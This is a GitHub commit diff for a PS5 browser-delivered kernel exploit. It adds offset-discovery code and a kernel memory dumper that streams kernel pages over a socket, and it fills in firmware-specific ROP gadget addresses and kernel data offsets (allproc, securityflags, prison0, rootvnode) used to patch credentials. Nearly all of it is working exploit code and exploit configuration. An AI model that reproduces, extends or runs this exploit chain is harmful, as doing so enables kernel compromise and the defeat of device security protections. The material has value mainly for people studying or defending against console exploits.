Skip to content

Commit d171499

Browse files
author
CC
committed
wip:
- 3.00 offset - 3.20 missing offset. - 3.21 offsets - dumper logic that might work.
1 parent 3316a19 commit d171499

5 files changed

Lines changed: 116 additions & 49 deletions

File tree

‎README.md‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ Exploit should now support the following firmwares:
1212
- 3.00 (partially)
1313
- 3.10 (partially)
1414
- 3.20
15-
- 3.21 (potentially partially)
15+
- 3.21
1616
- 4.00 (potentially partially)
1717
- 4.02 (potentially partially)
1818
- 4.03

‎document/en/ps5/exploit.js‎

Lines changed: 69 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ const fw_str = navigator.userAgent.substring(fw_idx, fw_idx+4);
1818

1919
//load offsets & webkit exploit after.
2020
if(!supportedFirmwares.includes(fw_str)) {
21-
alert("This firmware is not supported.");
21+
alert(`This firmware(${fw_str}) is not supported.`);
2222
throw new Error("");
2323
}
2424

@@ -883,6 +883,8 @@ async function userland() {
883883
if(kqueue_test == 0x6575716B) {
884884
alert(`OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0x${(cur_read.low & 0xFFFF).toString(16)}
885885
add this offset to the firmware's file, reboot and dump the readable segment of the kernel.`);
886+
kqueue_data_addr = cur_read;
887+
break;
886888
}
887889
}
888890
}
@@ -917,7 +919,20 @@ async function userland() {
917919
await kread(test_addr.add32(i));
918920
cur_read = p.read8(read_buf_store);
919921

920-
if ((cur_read.low & 0xFFFF) == OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD) {
922+
if(OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0){
923+
//improve offset discovery mode?
924+
if(cur_read.hi == 0xFFFFFFFF && cur_read.low >= 0x80000000 && cur_read.low <= 0xFF000000) {
925+
await kread(cur_read);
926+
let kqueue_test = p.read4(read_buf_store);
927+
if(kqueue_test == 0x6575716B) {
928+
alert(`OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD == 0x${(cur_read.low & 0xFFFF).toString(16)}
929+
add this offset to the firmware's file, reboot and dump the readable segment of the kernel.`);
930+
kqueue_data_addr = cur_read;
931+
break;
932+
}
933+
}
934+
}
935+
else if ((cur_read.low & 0xFFFF) == OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD) {
921936
kqueue_data_addr = cur_read;
922937
found_kqueue_data_addr = 1;
923938
await log("[+] Retry " + tries.toString(10) + " found kqueue .data address: 0x" + kqueue_data_addr.toString(16) + " (found @ i = 0x" + i.toString(16) + ")");
@@ -939,6 +954,58 @@ async function userland() {
939954

940955
//TODO: check next kernel offsets if == 0 start dump mode?
941956
//find base readable segment -> send over socket
957+
if(OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE == 0) {
958+
let known_d0 = 0x00000001;
959+
let known_d1 = 0x00000001;
960+
let known_d2 = 0x00000000;
961+
let known_d3 = 0x00000000;
962+
//wildcard
963+
let known_d5 = 0xFFFFFFFF;
964+
let known_d6 = 0x00000008;
965+
let known_d7 = 0x00000000;
966+
let data_guess = kqueue_data_addr.and32(0xFFFFF000);
967+
for(let i = 0;; i++) {
968+
await kread(data_guess);
969+
970+
let q0 = p.read8(read_buf_store);
971+
let q1 = p.read8(read_buf_store.add32(0x8))
972+
973+
if(q0.low != known_d0 || q0.hi != known_d1 || q1.low != known_d2 || q1.hi != known_d3) {
974+
data_guess.sub32inplace(0x1000);
975+
continue;
976+
}
977+
978+
await kread(data_guess.add32(0x14));
979+
980+
let q2 = p.read8(read_buf_store);
981+
let q3 = p.read8(read_buf_store.add32(0x8))
982+
983+
if(q2.low != known_d5 || q2.hi != known_d6 || q3.low != known_d7) {
984+
data_guess.sub32inplace(0x1000);
985+
continue;
986+
}
987+
988+
alert(`kqueue string: ${kqueue_data_addr} .rodata: ${data_guess} offset masked: -(${i * 0x1000}) ; .start offset: ${i * 0x1000 + 0x10000}`);
989+
break;
990+
}
991+
let dump_base = data_guess.sub32(0x10000);
992+
993+
alert(`going to dump the kernel, make sure you set your own ip & that the dump server is running`);
994+
for (let j = 0; ; j++) {
995+
for (let i = 0; i < 0x1000; i += 0x10) {
996+
chain.push_write8(write_victim_buf_store.add32(0x00), dump_base.add32(i));
997+
chain.push_write8(write_victim_buf_store.add32(0x08), 0);
998+
chain.push_write4(write_victim_buf_store.add32(0x10), 0);
999+
await chain.add_syscall(SYSCALL_SETSOCKOPT, master_sock, IPPROTO_IPV6, IPV6_PKTINFO, write_victim_buf_store, 0x14);
1000+
await chain.add_syscall(SYSCALL_GETSOCKOPT, victim_sock, IPPROTO_IPV6, IPV6_PKTINFO, read_large_store.add32(i), pktinfo_size_store);
1001+
}
1002+
await dump_net(read_large_store, 0x1000);
1003+
dump_base.add32inplace(0x1000);
1004+
}
1005+
1006+
}
1007+
1008+
9421009

9431010
///////////////////////////////////////////////////////////////////////
9441011
// Stage 5: Make .data patches and patch ucred + cleanup sockets

‎document/en/ps5/offsets/3.00.js‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -373,7 +373,7 @@ let syscall_map = {
373373
0x2D2: 0x32750, // sys_workspace_ctrl
374374
};
375375

376-
const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD = 0x0; //check
376+
const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD = 0x7301; //check
377377
const OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE = 0x0; //check
378378
const OFFSET_KERNEL_TEXT_KQUEUE_BASE_SLIDE = 0x0; //check
379379
const OFFSET_KERNEL_DATA_BASE_ALLPROC = 0x0; //check

‎document/en/ps5/offsets/3.20.js‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -373,7 +373,7 @@ let syscall_map = {
373373
0x2D2: 0x32750, // sys_workspace_ctrl
374374
};
375375

376-
const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD = 0x0;
376+
const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD = 0x6FEC;
377377
const OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE = 0x316FEC;
378378
const OFFSET_KERNEL_TEXT_KQUEUE_BASE_SLIDE = 0xEE6FEC;
379379
const OFFSET_KERNEL_DATA_BASE_ALLPROC = 0x276DC58;

‎document/en/ps5/offsets/3.21.js‎

Lines changed: 44 additions & 44 deletions
Original file line numberDiff line numberDiff line change
@@ -1,47 +1,47 @@
1-
const OFFSET_wk_vtable_first_element = 0x00314880; //check
2-
const OFFSET_wk_memset_import = 0x028DDEB8; //check
3-
const OFFSET_wk___stack_chk_guard_import = 0x028DDB98; //check
1+
const OFFSET_wk_vtable_first_element = 0x00314880;
2+
const OFFSET_wk_memset_import = 0x028DDEB8;
3+
const OFFSET_wk___stack_chk_guard_import = 0x028DDB98;
44

5-
const OFFSET_lk___stack_chk_guard = 0x00069190; //check
6-
const OFFSET_lk_pthread_create_name_np = 0x0002CED0; //check
7-
const OFFSET_lk_pthread_join = 0x0002F460; //check
8-
const OFFSET_lk_pthread_exit = 0x00020A80; //check
9-
const OFFSET_lk__thread_list = 0x000601A8; //check
5+
const OFFSET_lk___stack_chk_guard = 0x00069190;
6+
const OFFSET_lk_pthread_create_name_np = 0x0002CED0;
7+
const OFFSET_lk_pthread_join = 0x0002F460;
8+
const OFFSET_lk_pthread_exit = 0x00020A80;
9+
const OFFSET_lk__thread_list = 0x000601A8;
1010

11-
const OFFSET_lc_memset = 0x00014B50; //check
12-
const OFFSET_lc_setjmp = 0x0005F940; //check
13-
const OFFSET_lc_longjmp = 0x0005F990; //check
11+
const OFFSET_lc_memset = 0x00014B50;
12+
const OFFSET_lc_setjmp = 0x0005F940;
13+
const OFFSET_lc_longjmp = 0x0005F990;
1414

15-
const OFFSET_WORKER_STACK_OFFSET = 0x0007FB88; //check
15+
const OFFSET_WORKER_STACK_OFFSET = 0x0007FB88;
1616

1717
let wk_gadgetmap = {
18-
"ret" : 0x00000042, //check
19-
"pop rdi": 0x00107342, //check
20-
"pop rsi": 0x00115923, //check
21-
"pop rdx": 0x002FFDF2, //check
22-
"pop rcx": 0x0009AC92, //check
23-
"pop r8": 0x0024A59F, //check
24-
"pop r9" : 0x00277B41, //check
25-
"pop rax": 0x0002C827, //check
26-
"pop rsp": 0x00099A22, //check
18+
"ret" : 0x00000042,
19+
"pop rdi": 0x00107342,
20+
"pop rsi": 0x00115923,
21+
"pop rdx": 0x002FFDF2,
22+
"pop rcx": 0x0009AC92,
23+
"pop r8": 0x0024A59F,
24+
"pop r9" : 0x00277B41,
25+
"pop rax": 0x0002C827,
26+
"pop rsp": 0x00099A22,
2727

28-
"mov [rdi], rsi": 0x00A2D658, //check
29-
"mov [rdi], rax": 0x0003A79A, //check
30-
"mov [rdi], eax": 0x0003A79B, //check
28+
"mov [rdi], rsi": 0x00A2D658,
29+
"mov [rdi], rax": 0x0003A79A,
30+
"mov [rdi], eax": 0x0003A79B,
3131

32-
"infloop": 0x00007351, //check
32+
"infloop": 0x00007351,
3333

3434
//branching specific gadgets
35-
"cmp [rcx], eax" : 0x00E4EF7B, //check
36-
"sete al" : 0x00022549, //check
37-
"seta al" : 0x0000C94F, //check
38-
"setb al" : 0x0015E348, //check
39-
"setg al" : 0x002F89AA, //check
40-
"setl al" : 0x000E0D91, //check
41-
"shl rax, 3" : 0x01A269F3, //check
42-
"add rax, rdx" : 0x016D5582, //check
43-
"mov rax, [rax]" : 0x00047FEC, //check
44-
"inc dword [rax]": 0x004971AA, //check
35+
"cmp [rcx], eax" : 0x00E4EF7B,
36+
"sete al" : 0x00022549,
37+
"seta al" : 0x0000C94F,
38+
"setb al" : 0x0015E348,
39+
"setg al" : 0x002F89AA,
40+
"setl al" : 0x000E0D91,
41+
"shl rax, 3" : 0x01A269F3,
42+
"add rax, rdx" : 0x016D5582,
43+
"mov rax, [rax]" : 0x00047FEC,
44+
"inc dword [rax]": 0x004971AA,
4545
};
4646

4747
//check
@@ -374,12 +374,12 @@ let syscall_map = {
374374
0x2D2: 0x32750, // sys_workspace_ctrl
375375
};
376376

377-
const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD = 0x0; //check
378-
const OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE = 0x0; //check
379-
const OFFSET_KERNEL_TEXT_KQUEUE_BASE_SLIDE = 0x0; //check
380-
const OFFSET_KERNEL_DATA_BASE_ALLPROC = 0x0; //check
381-
const OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS = 0x0; //check
382-
const OFFSET_KERNEL_DATA_BASE_QA_FLAGS = 0x0; //check
383-
const OFFSET_KERNEL_DATA_BASE_UTOKEN_FLAGS = 0x0; //check
384-
const OFFSET_KERNEL_DATA_BASE_PRISON0 = 0x0; //check
385-
const OFFSET_KERNEL_DATA_BASE_ROOTVNODE = 0x0; //check
377+
const OFFSET_KERNEL_DATA_KQUEUE_LOW_WORD = 0x702A;
378+
const OFFSET_KERNEL_DATA_KQUEUE_BASE_SLIDE = 0x31702A;
379+
const OFFSET_KERNEL_TEXT_KQUEUE_BASE_SLIDE = 0xEE702A;
380+
const OFFSET_KERNEL_DATA_BASE_ALLPROC = 0x276DC58;
381+
const OFFSET_KERNEL_DATA_BASE_SECURITYFLAGS = 0x6466474;
382+
const OFFSET_KERNEL_DATA_BASE_QA_FLAGS = 0x6466498;
383+
const OFFSET_KERNEL_DATA_BASE_UTOKEN_FLAGS = 0x6466500;
384+
const OFFSET_KERNEL_DATA_BASE_PRISON0 = 0x1CC2670;
385+
const OFFSET_KERNEL_DATA_BASE_ROOTVNODE = 0x67AB4C0;

0 commit comments

Comments
 (0)